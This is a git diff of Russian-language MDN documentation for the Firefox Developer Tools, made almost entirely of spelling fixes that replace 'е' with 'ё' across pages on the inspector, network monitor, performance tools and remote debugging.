              - + @@ -139,14 +139,14 @@ translation_of: Tools
              Редактор веб аудио 
              Изучите график аудиоузлов в аудиоконтексте и измените их параметры.
              Делать скриншоты
              -
              Сделайте скриншот всей страницы, или одного ее элемента.
              +
              Сделайте скриншот всей страницы, или одного её элемента.

              Подключение инструментов разработчика

              -

              Если вы откроете инструменты разработчика с помощью сочетания клавиш или аналогичных пунктов меню, они будут нацелены на документ, размещенный на текущей активной вкладке. Но вы также можете прикрепить инструменты к множеству других целей, как в текущем браузере, так и в разных браузерах или даже на разных устройствах.

              +

              Если вы откроете инструменты разработчика с помощью сочетания клавиш или аналогичных пунктов меню, они будут нацелены на документ, размещённый на текущей активной вкладке. Но вы также можете прикрепить инструменты к множеству других целей, как в текущем браузере, так и в разных браузерах или даже на разных устройствах.

              @@ -176,7 +176,7 @@ translation_of: Tools

              Расширение инструментов разработчика

              -

              Инструменты разработчика предназначены для расширения. Дополнения Firefox могут получить доступ к инструментам разработчика и компонентам, которые они используют для расширения существующих инструментов и добавления новых инструментов. С помощью протокола удаленной отладки вы можете реализовать свои собственные клиенты и серверы отладки, что позволяет отлаживать веб-сайты с помощью собственных инструментов или отлаживать различные цели с помощью инструментов Firefox.

              +

              Инструменты разработчика предназначены для расширения. Дополнения Firefox могут получить доступ к инструментам разработчика и компонентам, которые они используют для расширения существующих инструментов и добавления новых инструментов. С помощью протокола удалённой отладки вы можете реализовать свои собственные клиенты и серверы отладки, что позволяет отлаживать веб-сайты с помощью собственных инструментов или отлаживать различные цели с помощью инструментов Firefox.

              diff --git a/files/ru/tools/network_monitor/index.html b/files/ru/tools/network_monitor/index.html index 082d35be00..3d3db1dc5a 100644 --- a/files/ru/tools/network_monitor/index.html +++ b/files/ru/tools/network_monitor/index.html @@ -88,7 +88,7 @@ translation_of: Tools/Network_Monitor

              Начиная с Firefox 55, вы можете выбирать разные колонки, кликая правой кнопкой мыши на заголовок таблицы, а затем выбирая нужные колонки в выпадающем меню. Опция "Восстановить колонки" доступна для сброса списка колонок к исходному варианту. Список колонок:

                -
              • Статус (Status): возвращенный HTTP-код статуса. Здесь есть цветной значок: +
              • Статус (Status): возвращённый HTTP-код статуса. Здесь есть цветной значок:
                • синий круг - для информационных кодов (коды 1XX). В частности включает код 101 (переключение протоколов) для WebSocket-переключения.
                  • @@ -97,7 +97,7 @@ translation_of: Tools/Network_Monitor
                • красный квадрат - для ошибок (4XX и 5XX)
                • серая окружность - для ответов, которые получены из кэша браузера.
                - Точный код отображен сразу после значка.
                • + Точный код отображён сразу после значка.
              • Метод (Method): HTTP-метод запроса.
              • Файл (File): базовое имя запрошенного файла.
              • Протокол (Protocol): Используемый сетевой протокол. (По умолчанию скрытая колонка. Новая в Firefox 55)
                • @@ -459,7 +459,7 @@ translation_of: Tools/Network_Monitor

                Новое в Firefox 54

              -

              Кроме того, каждый заголовок это ссылка для углубленного изучения документации заголовков HTTP.

              +

              Кроме того, каждый заголовок это ссылка для углублённого изучения документации заголовков HTTP.

              Куки (Cookies)

              diff --git a/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html b/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html index 5e0e030b97..af51af53df 100644 --- a/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html +++ b/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html @@ -11,7 +11,7 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes ---

              {{ToolsSidebar}}

              -

              The Shape Path Editor - это инструмент, который поможет вам увидеть и редактировать фигуры, созданные с помощью {{cssxref ("clip-path")}}, а также свойство CSS {{cssxref ("shape-outside")}} и {{cssxref ("<basic-shape>")}}. В этом руководстве вы найдете все доступные варианты.

              +

              The Shape Path Editor - это инструмент, который поможет вам увидеть и редактировать фигуры, созданные с помощью {{cssxref ("clip-path")}}, а также свойство CSS {{cssxref ("shape-outside")}} и {{cssxref ("<basic-shape>")}}. В этом руководстве вы найдёте все доступные варианты.

              Активация / деактивация Shape Path Editor

              @@ -23,14 +23,14 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes

              -

              Чтобы отключить Shape Path Editor, щелкните по иконке еще раз или выберите другой элемент или другой редактор. Обратите внимание, что Shape Path Editor не сохраняется между перезагрузкой страницы - если вы перезагрузите страницу, вам нужно будет снова выбрать элемент.

              +

              Чтобы отключить Shape Path Editor, щёлкните по иконке ещё раз или выберите другой элемент или другой редактор. Обратите внимание, что Shape Path Editor не сохраняется между перезагрузкой страницы - если вы перезагрузите страницу, вам нужно будет снова выбрать элемент.

              Понимание строк, нарисованных редактором

              После того, как вы выбрали фигуру на своей странице, редактор путей будет рисовать линии, которые помогут вам понять путь, который создается.

                -
              • Сплошная линия показывает контур фигуры, которая обертывает текст. Это ваша форма. Если форма обрезается по margin box, то margin box будет составлять часть этой строки.
                • +
              • Сплошная линия показывает контур фигуры, которая обёртывает текст. Это ваша форма. Если форма обрезается по margin box, то margin box будет составлять часть этой строки.
              • Пунктирная линия демонстрирует контур формы, которая проходит мимо ссылки margin box; это область, которая будет обрезана по margin box. Чтобы понять margin box и другие поля, используемые формулой CSS, см. Shapes from box values.
              @@ -42,11 +42,11 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes

              circle()

              -

              Если значение shape-outside равно circle(), значит вы создаете circle basic shape. При нажатии на иконку формы рядом со значением circle() будет выделена фигура, а также вы можете изменить размер круга или перемещать его центр. Если вы перемещаете или изменяете размер круга за пределами поля, края становятся обрезаны им.

              +

              Если значение shape-outside равно circle(), значит вы создаёте circle basic shape. При нажатии на иконку формы рядом со значением circle() будет выделена фигура, а также вы можете изменить размер круга или перемещать его центр. Если вы перемещаете или изменяете размер круга за пределами поля, края становятся обрезаны им.

              -

              В панели правил вы можете увидеть значения для circle() при изменении формы. Затем вы можете скопировать эти значения обратно в таблицу стилей, чтобы создать новый, измененный путь формы.

              +

              В панели правил вы можете увидеть значения для circle() при изменении формы. Затем вы можете скопировать эти значения обратно в таблицу стилей, чтобы создать новый, изменённый путь формы.

              ellipse()

              @@ -64,23 +64,23 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes

              polygon()

              -

              Если значение shape-outside равно polygon(), значит вы используете polygon basic shape. Это самый сложный из основных значений формы, поэтому инструмент дает вам больше возможностей при их редактировании:

              +

              Если значение shape-outside равно polygon(), значит вы используете polygon basic shape. Это самый сложный из основных значений формы, поэтому инструмент даёт вам больше возможностей при их редактировании:

                -
              • Нажатие на значок формы активирует Shapes Path Editor и дает вам возможность перемещать любую из точек вашей фигуры многоугольника.
                • -
              • Дважды щелкните в любом месте линии формы, и вы получите новую точку для настройки.
                • -
              • Дважды щелкните по существующей точке, и она будет удалена. Помните, что многоугольник должен содержать не менее трех точек.
                • +
              • Нажатие на значок формы активирует Shapes Path Editor и даёт вам возможность перемещать любую из точек вашей фигуры многоугольника.
                • +
              • Дважды щёлкните в любом месте линии формы, и вы получите новую точку для настройки.
                • +
              • Дважды щёлкните по существующей точке, и она будет удалена. Помните, что многоугольник должен содержать не менее трёх точек.

              Перемещение и масштабирование фигур

              -

              Есть дополнительные функциональные возможности, доступные на выделенной фигуре - если вы нажмете Ctrl/Cmd + щелчок на значок фигуры для своей фигуры, подсветка изменится, вместо этого будет возможность масштабировать и / или перемещать ее. Еще раз, произойдет отсечение, если вы превысите границы margin box.

              +

              Есть дополнительные функциональные возможности, доступные на выделенной фигуре - если вы нажмёте Ctrl/Cmd + щелчок на значок фигуры для своей фигуры, подсветка изменится, вместо этого будет возможность масштабировать и / или перемещать ее. Ещё раз, произойдёт отсечение, если вы превысите границы margin box.

              -

              Если ваша форма является многоугольником, вы также получаете возможность вращать ее вокруг оси.

              +

              Если ваша форма является многоугольником, вы также получаете возможность вращать её вокруг оси.

              Поддержка браузера

              diff --git a/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html b/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html index 12eae4fb72..8b8aa492ed 100644 --- a/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html +++ b/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html @@ -15,7 +15,7 @@ translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS

              В списке правил так же будут отображены и стили браузера (user-agent styles), если данная опция выставлена в настройках панели разработчика (developer tool settings). Заметьте, эта опция не зависит от опции "Browser styles" вкладки Computed view.

              -

              Начиная с Firefox 44 и выше, на панеле Rules отображаются все авторские стили, включая те, которые не поддерживаются или содержат ошибки. Это может помочь вам понять, почему определенные стили не применяются:

              +

              Начиная с Firefox 44 и выше, на панеле Rules отображаются все авторские стили, включая те, которые не поддерживаются или содержат ошибки. Это может помочь вам понять, почему определённые стили не применяются:

              diff --git a/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html b/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html index 089956c916..86763462f5 100644 --- a/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html +++ b/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html @@ -15,7 +15,7 @@ original_slug: Tools/Page_Inspector/How_to/Исследовать_event_listener

              Нажмите на иконку, затем вы увидите всплывающее окно со списком всех Event Listeners, связанных с этим элементом:Каждая строка содержит:

                -
              • кнопка паузы: щелкните на нее, чтобы перейти к "event Listener" в Отладчик, где вы сможете установить контрольную точку в нем
                • +
              • кнопка паузы: щёлкните на неё, чтобы перейти к "event Listener" в Отладчик, где вы сможете установить контрольную точку в нем
              • название события
              • название и номер строки обработчика: нажмите, чтобы увидеть функцию обработчика во всплывающем окне
              • метка, указывающая, является ли событие всплывающим
                • diff --git a/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html b/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html index 3b94b74f0f..d5b2bfa5cc 100644 --- a/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html +++ b/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html @@ -19,7 +19,7 @@ translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors

                {{EmbedYouTube("0Zx1TN21QOo", "16:9")}}

                -

                Начиная с Firefox 40, для изменения формата отображения цвета надо, удерживая кнопку Shift, щелкнуть на образце цвета кнопкой мыши.

                +

                Начиная с Firefox 40, для изменения формата отображения цвета надо, удерживая кнопку Shift, щёлкнуть на образце цвета кнопкой мыши.

                {{EmbedYouTube("gYL8-gxc1MA")}}

                diff --git a/files/ru/tools/page_inspector/how_to/work_with_animations/index.html b/files/ru/tools/page_inspector/how_to/work_with_animations/index.html index d5c3c50b6b..7daa747e12 100644 --- a/files/ru/tools/page_inspector/how_to/work_with_animations/index.html +++ b/files/ru/tools/page_inspector/how_to/work_with_animations/index.html @@ -16,7 +16,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations

                Когда вы create a CSS animation вы можете задать timing function: это определяет скорость, с которой анимация прогрессирует. Один из способов определить функцию является синхронизация с кубической кривой Безье.

                -

                Временные функции, определенные как кубические кривые Безье получают значок в правилах просмотра. При нажатии на иконку вы получаете визуальный редактор для кривой, что позволяет перетащить P1 and P2, и увидеть результат на странице:

                +

                Временные функции, определённые как кубические кривые Безье получают значок в правилах просмотра. При нажатии на иконку вы получаете визуальный редактор для кривой, что позволяет перетащить P1 and P2, и увидеть результат на странице:

                {{EmbedYouTube("GW5-R2ewaqA")}}

                @@ -33,21 +33,21 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations

                Инспектор Анимации

                -

                Хотя этот инструмент был введен в Firefox 41, его пользовательский интерфейс был переделан в Firefox 43. В данной статье описывается инспектор анимации появившийся в Firefox 43 и последующих выпусках. Если вы хотите увидеть, как инспектор анимации выглядит в Firefox 41 и 42 см this separate page.

                +

                Хотя этот инструмент был введён в Firefox 41, его пользовательский интерфейс был переделан в Firefox 43. В данной статье описывается инспектор анимации появившийся в Firefox 43 и последующих выпусках. Если вы хотите увидеть, как инспектор анимации выглядит в Firefox 41 и 42 см this separate page.

                Из Firefox 41, Инспектор страниц включил в себя extra view labeled "Animations".

                 Этот вид отображает как CSS переходы и CSS анимации синхронизированы по шкале времени, перетаскивая виджет вы можете использовать для перемещения любую точку на временной шкале и увидеть страницу в этой точке.

                -

                Чтобы увидеть, как это работает, мы разберем пример. Раздел данный ниже содержит три серые иконки, каждая из которых представляет разные Firefox channel. Если щелкнуть значок, он увеличивается изменения цвет, и на экране отображается название канала. Нажмите на значок еще раз, чтобы изменить эффект. Эти анимации сделаны путем применения переходов к нескольким свойствам CSS.

                +

                Чтобы увидеть, как это работает, мы разберём пример. Раздел данный ниже содержит три серые иконки, каждая из которых представляет разные Firefox channel. Если щёлкнуть значок, он увеличивается изменения цвет, и на экране отображается название канала. Нажмите на значок ещё раз, чтобы изменить эффект. Эти анимации сделаны путём применения переходов к нескольким свойствам CSS.

                {{ EmbedLiveSample('firefox-logo-animation', 500, 250, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animations_examples") }}

                Давайте использовать инспектор анимации, чтобы увидеть, что происходит на данном примере.

                  -
                • Используйте Firefox 43 или более позднюю версию, щелкните правой кнопкой мыши один из значков и выберите пункт "Проверить элемент".
                  • +
                • Используйте Firefox 43 или более позднюю версию, щёлкните правой кнопкой мыши один из значков и выберите пункт "Проверить элемент".
                • Вы, вероятно, также хотите настроить выбранный узел на один уровень вверх, к узлу.
                   
                  • @@ -64,7 +64,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations

                  -

                  Он показывает синхронизированный график для каждого перехода CSS свойств участвующих в анимации. Шкала времени начинается с начала первого перехода, и заканчивается в конце последнего перехода, и помечена маркерами каждые 100 миллисекунд (это зависит от временного масштаба анимации отображаемой в данный момент). Вы можете видеть, что приведенный выше пример занимает 735 миллисекунд для запуска.

                  +

                  Он показывает синхронизированный график для каждого перехода CSS свойств участвующих в анимации. Шкала времени начинается с начала первого перехода, и заканчивается в конце последнего перехода, и помечена маркерами каждые 100 миллисекунд (это зависит от временного масштаба анимации отображаемой в данный момент). Вы можете видеть, что приведённый выше пример занимает 735 миллисекунд для запуска.

                  Каждая анимация или переход показан в виде горизонтальной полосы, установленной по шкале времени:

                  @@ -81,7 +81,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations
                  Если в анимации или переходе произошла задержка, это показано в виде заштрихованной части панели.
              -
            11. При наведении курсора на панели появляется подсказка, что дает вам более подробную информацию о анимации или переходе .
              12. +
            12. При наведении курсора на панели появляется подсказка, что даёт вам более подробную информацию о анимации или переходе .

              13. С левой стороны бара переключатель для узлов относящихся к анимации. если навести курсор на переключатель, то выделится узел на странице. Нажмите переключатель для выбора узла в инспекторе

              @@ -112,7 +112,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations
            13. текущее время в анимации отображается (новое в Firefox 44).
              14. -

              И, наконец, если вы щелкните внутри панели в верхней части шкалы времени, вы получаете скруббер, который вы можете перетащить влево и вправо для перемотки анимации назад и вперед, и точно определить, что происходит, когда:

              +

              И, наконец, если вы щёлкните внутри панели в верхней части шкалы времени, вы получаете скруббер, который вы можете перетащить влево и вправо для перемотки анимации назад и вперёд, и точно определить, что происходит, когда:

              {{EmbedYouTube("1hqNaMsB48g")}}

              diff --git a/files/ru/tools/performance/index.html b/files/ru/tools/performance/index.html index ac389754f9..5e443d707e 100644 --- a/files/ru/tools/performance/index.html +++ b/files/ru/tools/performance/index.html @@ -4,13 +4,13 @@ slug: Tools/Performance translation_of: Tools/Performance original_slug: Tools/Производительность --- -
              {{ToolsSidebar}}

              Инструмент даёт Вам понять общую отзывчивость вашего сайта,  JavaScript и общее представление о разметке. С помощью инструмента производительности Вы создадите запись или профиль своего сайта за определенный промежуток времени. Затем, инструмент покажет Вам действия браузера и график смены частоты кадров, поверх профиля, рендера Вашего сайта.

              +
              {{ToolsSidebar}}

              Инструмент даёт Вам понять общую отзывчивость вашего сайта,  JavaScript и общее представление о разметке. С помощью инструмента производительности Вы создадите запись или профиль своего сайта за определённый промежуток времени. Затем, инструмент покажет Вам действия браузера и график смены частоты кадров, поверх профиля, рендера Вашего сайта.

              Вы получите четыре набора инструментов для более подробного изучения аспектов профиля:

              •  Waterfall (Водопад) показывает различные операции браузера, например, выполняет макет, JavaScript, перерисовывает и собирает мусор
                • -
              • Call Tree (Дерево вызова) показывает функции JavaScript, в которых браузер провел большую часть своего времени
                • +
              • Call Tree (Дерево вызова) показывает функции JavaScript, в которых браузер провёл большую часть своего времени
              • Flame Chart (Пламенный График) показывает стек вызовов JavaScript над конечной записью.
              • Allocations. В этом представлении отображаются распределения кучи, сделанные вашим кодом в ходе записи. Это представление появляется только в том случае, если вы отметили «Записать выделение» в настройках инструмента «Производительность».
              diff --git a/files/ru/tools/performance/waterfall/index.html b/files/ru/tools/performance/waterfall/index.html index d5f821478a..9489c9f740 100644 --- a/files/ru/tools/performance/waterfall/index.html +++ b/files/ru/tools/performance/waterfall/index.html @@ -5,7 +5,7 @@ translation_of: Tools/Performance/Waterfall original_slug: Tools/Производительность/Waterfall ---
              {{ToolsSidebar}}
              -

              Водопад (Waterfall) дает вам представление о различных процессах, которые происходят внутри браузера, когда вы открывайте ваш сайт или запускаете ваше приложение. Он основан на идее разделения всех происходящих внутри браузера процессов на различные типы  - запуск JavaScript, обновление layout и так далее - и что в любой момент времени браузер выполняет один из этих процессов.

              +

              Водопад (Waterfall) даёт вам представление о различных процессах, которые происходят внутри браузера, когда вы открывайте ваш сайт или запускаете ваше приложение. Он основан на идее разделения всех происходящих внутри браузера процессов на различные типы  - запуск JavaScript, обновление layout и так далее - и что в любой момент времени браузер выполняет один из этих процессов.

              Поэтому если вы увидите признаки проблем с производительностью  - например, падения частоты кадров - вы можете запустить Waterfall, чтобы увидеть, что делает браузер в этот момент.

              diff --git a/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html b/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html index 3f4cd3c478..33a107cc34 100644 --- a/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html +++ b/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html @@ -67,7 +67,7 @@ translation_of: Tools/Remote_Debugging/Debugging_Firefox_Desktop
              • Под "Available remote tabs" (Доступные удалённые вкладки) находится список всех вкладок отлаживаемого. Кликните в одну для соединения Инструментов разработчика Firefox c ней.
                • -
              • Под "Available remote add-ons" (Доступные удаленные дополнения) находится список всех дополнений на отлаживаемом. Кликните в один для соединения Инструментов разработчика Firefox.
                • +
              • Под "Available remote add-ons" (Доступные удалённые дополнения) находится список всех дополнений на отлаживаемом. Кликните в один для соединения Инструментов разработчика Firefox.
              • Под "Available remote processes" (Доступные удалённые процессы) - список процессов, запущенных в Firefox. Кликните "Main process" (Главный процесс) для соединения Инструментов разработчика с самим браузером.
              diff --git a/files/ru/tools/remote_debugging/index.html b/files/ru/tools/remote_debugging/index.html index 1f99c5e8df..06b878cb3c 100644 --- a/files/ru/tools/remote_debugging/index.html +++ b/files/ru/tools/remote_debugging/index.html @@ -8,7 +8,7 @@ tags: - инструменты translation_of: Tools/Remote_Debugging --- -
              {{ToolsSidebar}}

              Вы можете использовать Инструменты разработчика Firefox на вашем компьютере для отладки веб-сайтов и веб-приложений, запущенных в других браузерах или программах. Другие браузеры могут быть на том же устройстве, где запущены Инструменты, или же на другом, например, на телефоне, подключенном через USB.

              +
              {{ToolsSidebar}}

              Вы можете использовать Инструменты разработчика Firefox на вашем компьютере для отладки веб-сайтов и веб-приложений, запущенных в других браузерах или программах. Другие браузеры могут быть на том же устройстве, где запущены Инструменты, или же на другом, например, на телефоне, подключённом через USB.

              Конкретные инструкции по подключению Инструментов специфичны для каждой из сред.

              @@ -37,7 +37,7 @@ translation_of: Tools/Remote_Debugging

              Экспериментальное дополнение Valence позволяет отлаживать веб-сайты в средах выполнения отличных от Gecko, например, Google Chrome Desktop, Chrome для Android или Safari на iOS.

              -

              Valence по умолчанию включен в Firefox Developer Edition.

              +

              Valence по умолчанию включён в Firefox Developer Edition.

              • Chrome для Android
                • diff --git a/files/ru/tools/responsive_design_mode/index.html b/files/ru/tools/responsive_design_mode/index.html index 8ca0c64155..0d62c5d10d 100644 --- a/files/ru/tools/responsive_design_mode/index.html +++ b/files/ru/tools/responsive_design_mode/index.html @@ -16,7 +16,7 @@ original_slug: Tools/Responsive_Design_View ---
                {{ToolsSidebar}}
                -

                Адаптивные дизайны (Responsive designs)  адаптируются к различным размерам экрана, чтобы обеспечить подходящее отображение для различных видов устройств, таких как мобильные телефоны или планшеты. Режим адаптивного дизайна даёт легкую возможность увидеть, как ваш сайт или веб-приложение будет выглядеть на экранах разных размеров.

                +

                Адаптивные дизайны (Responsive designs)  адаптируются к различным размерам экрана, чтобы обеспечить подходящее отображение для различных видов устройств, таких как мобильные телефоны или планшеты. Режим адаптивного дизайна даёт лёгкую возможность увидеть, как ваш сайт или веб-приложение будет выглядеть на экранах разных размеров.

                {{EmbedYouTube("LBcE72sG2s8")}}

                diff --git a/files/ru/tools/shader_editor/index.html b/files/ru/tools/shader_editor/index.html index 565d6c6b55..fce013a794 100644 --- a/files/ru/tools/shader_editor/index.html +++ b/files/ru/tools/shader_editor/index.html @@ -25,7 +25,7 @@ translation_of: Tools/Shader_Editor

                -

                Для начала откройте страницу, которая создает контекст WebGL и загружает в него программу. Приведенные ниже скриншоты взяты из демонстрации Unreal Engine.

                +

                Для начала откройте страницу, которая создаёт контекст WebGL и загружает в него программу. Приведённые ниже скриншоты взяты из демонстрации Unreal Engine.

                Перед Вами появится рабочее окно, разделённое на три части: список шейдерных программ GLSL (слева), вершинный шейдер текущей выбранной программы (по центру), а также фрагментный шейдер текущей выбранной программы (справа):

                diff --git a/files/ru/tools/storage_inspector/index.html b/files/ru/tools/storage_inspector/index.html index 0356665fea..afa2417aaf 100644 --- a/files/ru/tools/storage_inspector/index.html +++ b/files/ru/tools/storage_inspector/index.html @@ -4,7 +4,7 @@ slug: Tools/Storage_Inspector translation_of: Tools/Storage_Inspector ---
                {{ToolsSidebar}}
                -

                Инспектор хранилища отключен по умолчанию. Включите его в Developer Tools Settings.

                +

                Инспектор хранилища отключён по умолчанию. Включите его в Developer Tools Settings.

                Инспектор хранилища позволяет проверить различные типы хранилищ, которые веб-страница может использовать. В настоящее время он может быть использован для проверки следующих типов хранения:

                @@ -18,7 +18,7 @@ translation_of: Tools/Storage_Inspector
              • IndexedDB - Всех IndexedDB баз данных, созданных по странице, каких-либо элементов iframe внутри страниц, их объектов и элементов.
              -

              На данный момент, инспектор хранения дает представление только для чтения памяти. Но мы работаем, чтобы позволить вам редактировать содержимое хранилища в будущих выпусках.

              +

              На данный момент, инспектор хранения даёт представление только для чтения памяти. Но мы работаем, чтобы позволить вам редактировать содержимое хранилища в будущих выпусках.

              Открыть инспектор хранилища

              diff --git a/files/ru/tools/style_editor/index.html b/files/ru/tools/style_editor/index.html index e92e03d180..3fade8632c 100644 --- a/files/ru/tools/style_editor/index.html +++ b/files/ru/tools/style_editor/index.html @@ -41,7 +41,7 @@ translation_of: Tools/Style_Editor

              Панель таблицы стилей

              -

              Панель стилей слева, перечисляет все таблицы стилей в текущем документе. Вы можете быстро включать и выключать стили листа нажав на против него значок глаза. Вы можете сохранить любые изменения, внесенные в таблицу стилей на локальном компьютере, нажав кнопку Сохранить в правом нижнем углу возле каждого листа в списке.

              +

              Панель стилей слева, перечисляет все таблицы стилей в текущем документе. Вы можете быстро включать и выключать стили листа нажав на против него значок глаза. Вы можете сохранить любые изменения, внесённые в таблицу стилей на локальном компьютере, нажав кнопку Сохранить в правом нижнем углу возле каждого листа в списке.

              Панель редактора

              @@ -57,7 +57,7 @@ translation_of: Tools/Style_Editor

              Боковая панель @media

              -

              С Firefox 33 и далее, Редактор Стилей отображает боковую панель на правой стороне, где текущий лист содержит какие-либо @media правила. Боковая панель содержит список правил и ссылку на строки таблицы, где правило определено. Щелкните элемент, чтобы перейти к этому правилу в листе.Состояние текста остаётся серым, если запрос медиа в настоящее время не применяется.

              +

              С Firefox 33 и далее, Редактор Стилей отображает боковую панель на правой стороне, где текущий лист содержит какие-либо @media правила. Боковая панель содержит список правил и ссылку на строки таблицы, где правило определено. Щёлкните элемент, чтобы перейти к этому правилу в листе.Состояние текста остаётся серым, если запрос медиа в настоящее время не применяется.

              Боковая панель медиа особенно хорошо работает с Responsive Design View для создания и отладки мобильных макетов:

              diff --git a/files/ru/tools/tools_toolbox/index.html b/files/ru/tools/tools_toolbox/index.html index 731de81e98..024d412795 100644 --- a/files/ru/tools/tools_toolbox/index.html +++ b/files/ru/tools/tools_toolbox/index.html @@ -44,7 +44,7 @@ translation_of: Tools/Tools_Toolbox
            14. Монитор Сетевых Параметров
              15. -

              Учтите, что в этом разделе не всегда могут быть видны все инструменты Панели: в этом разделе показываются только те инструменты, которые доступные в данном контексте (например, пока еще не все инструменты поддерживают функцию удалённой отладки. Таким образом, если элементом отладки, из-за которого открыта Панель инструментов, является объект, который не поддерживает функцию отладки Firefox, то в этом разделе будут показаны не все инструменты Основного набора).

              +

              Учтите, что в этом разделе не всегда могут быть видны все инструменты Панели: в этом разделе показываются только те инструменты, которые доступные в данном контексте (например, пока ещё не все инструменты поддерживают функцию удалённой отладки. Таким образом, если элементом отладки, из-за которого открыта Панель инструментов, является объект, который не поддерживает функцию отладки Firefox, то в этом разделе будут показаны не все инструменты Основного набора).

              Дополнительные инструменты

              @@ -159,11 +159,11 @@ translation_of: Tools/Tools_Toolbox

              Расширенные настройки

                -
              • Отключить кэш: позволяет отключить кэш браузера, чтобы определить скорость загрузки всех данных из сети. Начиная с Firefox 33 и новее эта настройка сохраняемая. Это означает, что если Вы отключите кэш, закроете инструменты разработчика и откроете снова, то обнаружите, что кэш все еще отключен. Тем не менее кэширование автоматически будет включено когда инструменты разработчика закрыты.
                • +
              • Отключить кэш: позволяет отключить кэш браузера, чтобы определить скорость загрузки всех данных из сети. Начиная с Firefox 33 и новее эта настройка сохраняемая. Это означает, что если Вы отключите кэш, закроете инструменты разработчика и откроете снова, то обнаружите, что кэш все ещё отключён. Тем не менее кэширование автоматически будет включено когда инструменты разработчика закрыты.
              • Отключить JavaScript: позволяет выключить JavaScript (требуется перезагрузить страницу)
              • Enable Service Workers over HTTP: enable Service Worker registrations from insecure websites
              • Включить отладку chrome и дополнений: позволяет инструментам разработчика получить доступ к контексту самого браузера, а не только веб контента
                • -
              • Включить удаленную отладку: позволяет выполнять отладку удаленных экземпляров Firefox с помощью инструментов разработчика
                • +
              • Включить удалённую отладку: позволяет выполнять отладку удалённых экземпляров Firefox с помощью инструментов разработчика

              Главная панель

              diff --git a/files/ru/tools/web_audio_editor/index.html b/files/ru/tools/web_audio_editor/index.html index 67a0751ba7..0ece177fa3 100644 --- a/files/ru/tools/web_audio_editor/index.html +++ b/files/ru/tools/web_audio_editor/index.html @@ -20,13 +20,13 @@ translation_of: Tools/Web_Audio_Editor

              Разработчик соединяет узлы в виде графика, а полный граф определяет поведение аудиопотока.

              -

              Web Audio Editor исследует аудиоконтекст, созданный на странице, и обеспечивает визуализацию его графика. Это дает вам представление о его работе на высоком уровне и позволяет вам убедиться, что все узлы подключены так, как вы ожидаете. Затем вы можете изучить и отредактировать свойства AudioParam для каждого узла на графике. Некоторые свойства non-AudioParam, например свойство типа OscillatorNode, отображаются, и вы также можете их редактировать.

              +

              Web Audio Editor исследует аудиоконтекст, созданный на странице, и обеспечивает визуализацию его графика. Это даёт вам представление о его работе на высоком уровне и позволяет вам убедиться, что все узлы подключены так, как вы ожидаете. Затем вы можете изучить и отредактировать свойства AudioParam для каждого узла на графике. Некоторые свойства non-AudioParam, например свойство типа OscillatorNode, отображаются, и вы также можете их редактировать.

              -

              Этот инструмент все еще экспериментальный. Если вы найдете ошибки, мы будем рады, если вы отправите их в Bugzilla. Если у вас есть вопросы или предложения по новым функциям, ffdevtools.uservoice.com или Twitter отличные места для их регистрации.

              +

              Этот инструмент все ещё экспериментальный. Если вы найдёте ошибки, мы будем рады, если вы отправите их в Bugzilla. Если у вас есть вопросы или предложения по новым функциям, ffdevtools.uservoice.com или Twitter отличные места для их регистрации.

              Открытие веб-аудиоредактора

              -

              Web Audio Editor по умолчанию не включен в Firefox 32. Чтобы включить его, откройте Настройки инструмента разработчика и отметьте «Web Audio». Теперь на панели инструментов Toolbox должна быть дополнительная вкладка с надписью «Web Audio». Щелкните вкладку и загрузите страницу, которая создает звуковой контекст. Два хороших демки:

              +

              Web Audio Editor по умолчанию не включён в Firefox 32. Чтобы включить его, откройте Настройки инструмента разработчика и отметьте «Web Audio». Теперь на панели инструментов Toolbox должна быть дополнительная вкладка с надписью «Web Audio». Щёлкните вкладку и загрузите страницу, которая создаёт звуковой контекст. Два хороших демки:

              • Voice-change-O-Matic  может применять различные эффекты к входу микрофона, а также обеспечивает визуализацию результата
                • @@ -49,11 +49,11 @@ translation_of: Tools/Web_Audio_Editor

                Проверка и изменение AudioNodes

                -

                Если вы нажмете на узел, он подсветится, и вы получите инспектор узла справа. В этом списке перечислены значения свойств AudioParam этого узла. Например, вот как выглядит OscillatorNode:

                +

                Если вы нажмёте на узел, он подсветится, и вы получите инспектор узла справа. В этом списке перечислены значения свойств AudioParam этого узла. Например, вот как выглядит OscillatorNode:

                -

                В демоверсии Viplent, параметр частоты изменяется когда пользователь перемещает мышь влево и вправо, и вы можете увидеть это, отраженное в инспекторе узлов. Однако значение не обновляется в реальном времени: вам нужно снова щелкнуть узел, чтобы увидеть обновленное значение.

                +

                В демоверсии Viplent, параметр частоты изменяется когда пользователь перемещает мышь влево и вправо, и вы можете увидеть это, отражённое в инспекторе узлов. Однако значение не обновляется в реальном времени: вам нужно снова щёлкнуть узел, чтобы увидеть обновлённое значение.

                -

